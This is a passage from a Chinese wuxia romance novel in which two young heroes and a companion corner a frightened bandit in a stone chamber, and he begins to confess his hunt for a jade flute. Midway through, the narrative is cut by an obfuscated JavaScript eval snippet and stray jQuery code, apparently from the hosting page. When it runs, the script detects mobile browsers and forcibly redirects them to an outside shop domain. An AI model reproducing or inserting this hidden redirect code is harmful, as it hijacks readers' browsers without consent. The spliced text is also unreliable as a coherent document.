一阵过去,苗杼自觉撤回了脑袋,手往泪痕斑斑的脸上胡乱抹了抹。
低声喃喃道:“……没事了。”
殷子寻目不转睛地睨着她红通通的眼睛,也不知是不是真没事了。想开口又怕惹她再度哭泣,只得浅浅“嗯”了一声。
“走吧。”
“……好。”
殷子寻跟前两步,目光垂落在她的手上,脑中回忆起某日淅淅沥沥的雨天,鬼使神差地伸出了手,缓缓自后抓住了她的手。
后者抓得力道极轻,苗杼只觉手心痒了痒,接着有两根手指窜了进来。她回过头,下意识看了眼下面,随后往上抬。就听殷子寻道:“这石室里……凉,你本身就染有风寒,再被风吹,恐怕病情要加重……握住我的手,会暖些。”
苗杼确实感觉冷,但想不懂为何握住手就会暖和。正要开口询问,手心忽然钻进了一股暖流,几息之间,这暖流遍布了整个身体。她想起先前被殷子寻抓住的两个汉子,原以为有多恐怖,现下却实在舒服得很。
身遭寒意被驱逐而去,她不由攥紧了那只手。回道:“是……是暖了。”话音未了,指腹触摸到殷子寻指根的层层手茧,才恍然意识到二人如此亲密的动作。舍不得抽回,又羞于接触太多,最终松开了些力道,面颊染上红晕,怕被发现,忙别过头往前走。
这一系列的纤微的动作,殷子寻岂会感知不到。
掌心似被指甲乱挠了几下,以为要抽走,刚失落一瞬,那只手又虚虚抓住了他的几根手指。被人往前带着,一时也回不了心神。直到前方传来几声异响,才勉强快走上前了几步。
是麻面搞出来的声响。
二人循着声响来到一处较前略微宽敞的室中,第一眼未曾瞧见麻面,认真搜寻一番才望见麻面隐身在一处暗影中。笔直地站在那儿,要是不动,快与暗黑的角落融为一体了。
殷子寻见他这副模样,正要开口,麻面做了一个嘘声的动作,二人不解,他便蹲下身,用手指在墙角地面附着的一层灰上写字。
走上前,看他一笔一画写:传音有人来了
二人见此,心中皆是疑虑重重。苗杼写道:在哪?
麻面正要写,某处忽然悠悠飘来“噗通”的水声,继而巨响之后,回音久荡耳边。六目相对,旋即不约而同地藏在了阴影底下。
这声儿,正是从水池里拔出来。来人身形不似雀儿,庞然若豕或罴,才能炸出如此般的巨响。
三只小鸡儿似的躲在暗中,六只眼睛够着看那处水池直往此处的道口。
“哎呦……操他娘的。”
来人骂骂咧咧地,粗犷的声线愈发逼近,“哪个呆愣儿挖的,摔烂爷爷的屁股了。”
苗杼正听得认真,道口忽然闪出一道黑影,她被吓一跳,连忙矮下身躲到了石坛后面。偏脸看,麻面也畏畏缩缩地矮下了头,她心跳声震着胸口,再一看,心快跳了出来!
——殷子寻呢!
自从见识过饭馆里赳夫,见到这种膀大腰粗的男子,本能就似雏鸡遇鹰,抖着翅膀要躲起来。这处石室里左右没个遮挡,只把石坛当母鸡,要是离开了母鸡,那还得了?她眼珠子飞转,捉到一截衣角,瞧见殷子寻躲到了另一处,才略微安下了心。
那汉子闪进来后,神经兮兮地“嗬嗬”笑了几声。手往某处方向一指,目随食指的方向盯了盯,觉得不对,又向另一个方向指,两颗豆大的眼珠凝神盯了几秒,这回觉得对了。乍了一声:“嘚!”
三人被这声唬住,不确信是发现自己了,踟蹰原处没有动。
下一秒,那汉子接道:“别躲在那儿了!”
三人这才无了侥幸之心,微微抬起头,想看看来者何人。只是头刚往外露出一点,就见那汉子手指在半空,压根没往他们藏身的两处指。好在几人反应够快,那汉子心神也全在指的半空,没发现角落冒出的三颗人头。
他自顾自地喊道:“别躲了!我早就发现你了!我……我管你是什么魑魅魍魉,什么……洞里藏的千年老王八!”
听他这么疯言疯语,众人这才明白——
原来是孤身来石室怕得不行,在这儿虚张声势呢。
苗杼听他喊到最后,尾音颤了好几颤,怎么使劲也压不住,觉得好笑又可怜,正想着他来此处做什么,他忽然大吼一声,接着扯着嗓子喊:“有胆出来!出来我保不准给你打成……打成龟孙……!”
言出法随,一道黑影轻飘飘跃出,立到他的身后。
这步伐悄声无息,似鬼不似人,等汉子意识到黑影窜到他身后时,只听那黑影促狭道:“出来啦——”
汉子僵住几秒,紧接着“啊!啊啊啊!”几声尖叫,转身,一屁股跌到地上。
与此同时,苗杼、麻面二人从后走出。苗杼见他左肩紧缠着粗布,身形可谓眼熟,开口说了个“你”字,没成想汉子被吓破了胆,连她的声音都怕,屁股噌地滑溜到石室一角。
撤出距离,四人身影暴露在对方视野之中。
汉子面上两道叉痕想忘记都难。
三人无时无刻不黏在一起,被汉子看清后,也登时明白几人是人不是鬼,方才站到他身后的人是在故意吓他。
“其他人呢,怎么独逃了你这只鳖孙儿?”
殷子寻笑着骂他,汉子恼羞成怒,抄出悬在腰侧的单流星,二话不说便一振腕底,旋出铁球“哗啦”一下飞去——想来这汉子与殷子寻、麻面斗过一场,知道对方并不好惹,这下竟是直往苗杼面目冲。奈何苗杼早瞥见了他身侧的铁球,前一秒便跑远了,他那铁链直到底也没砸到苗杼,反倒连累自己误了空档。
铁球来不及抽回身,已有一剑双钩自两侧疾速驰来。
电光火石之间,汉子脸上开了果子铺,被人扼住喉,再也不敢蹦出一个字儿。殷子寻居高临下地看着他,问:“可服了?还打么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919399|211245||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
汉子颤颤巍巍道:“不打了不打了……爷爷,鳖孙儿给你磕头了……”
闻言,殷子寻额角一抽,刚要骂,耳后传来一声轻笑。他被这声笑打消了恼气,回头瞥见苗杼,也傻兮兮地弯起了眼角。
苗杼:“你叫他爷爷,又自称鳖孙儿,不还是在骂他吗?”
汉子这才反应过来,红肠似的嘴唇嘟嘟哝哝:“说错了说错了!我是我是!殷少侠,早年就听闻您年少有为,曾以一己之力制服残阳“三恶”,所使的一剑破万法,更是有江湖第一剑客孤燕侠的风范……”
眨眼间的功夫,汉子把殷子寻从头到尾吹了一遍,吹得本人赧然难堪,连连逼停他,剑鞘往他头上拍了又拍:“聒噪聒噪……闭嘴!”
汉子缩了缩脖子,抱住头,这才停下了。
回到正题,殷子寻骂他是有理的。
原先苗杼疑于几人搜水池的行径,此刻瞧见这人,恍然间一切都有了答案。在几句逼问之下,汉子老实交代了全情。
“我名号断山,原是山中一名小匪徒,本与岚娘子等人并不认识……”
一个月前,断山丢了宝笛遭山寨二当家黜逐,想寻回宝笛却心知孤身一人、无援无助如同大海捞针。正愁寻笛没个头脑,撞见三人游于山外,几番打听知晓三人也是追笛之人,自导自演了场解围之戏凑进了队伍。这便是前因。
混迹来到普禅寺后,听见山间有笛音袅袅,再袭击三人这便是早已发生过的事情。
而在破庙中搜寻玉笛之际,断山确实摸到了池底的缺口。却由于藏有私心,暗自猜测玉笛藏在水池之内。一番浑水摸鱼、隐瞒众人后,夜晚独自前来取笛……
这么一来,就是他来到此处的经过。
“好啊。”殷子寻道,“原来是个贼人!你们匪巢丢了宝笛,找闻名天下的‘自问’做什么?难不成你眼也是瞎的,分不清哪一支是你们匪巢的宝笛,哪一支是玉笛‘自问’?”
断山讪讪道:“大侠有所不知。江湖之上‘自问’的赝品多了去了,唯有我们寨子里那支才是真品。”
殷子寻:“如何得知?”
“这管玉笛……本就是我寻回来的!”断山语气带了几分懊恼之意。
三人闻言,相觑一眼。苗杼道:“是你在海中捞回来的?”
“此事说来话长……”
惝恍夜下,断山眼前浮现出一张模糊的脸,那张脸蛋都没有他的手掌大,海水涔涔,涕泪无息,血腥疮痍的脸上,唯有双目泛着微许的星光。——哪怕已经被几攥拳头揍肿了。
孩童的脸蛋在他的眼缝中如鬼影般飘忽。
他干咽了一下,从嘴里吐出字句:“日衍二一年,那是弭留岛灾难的一年。徐鞭娘自弭留岛溯水回程,‘自问’坠入海中。众人皆以为玉笛沉入大海消声无迹,只有我在那一日的夜里看见,船尾二里之外,一名孩童追着船影,泅水三里,在茫茫海水之中,捞起了玉笛。”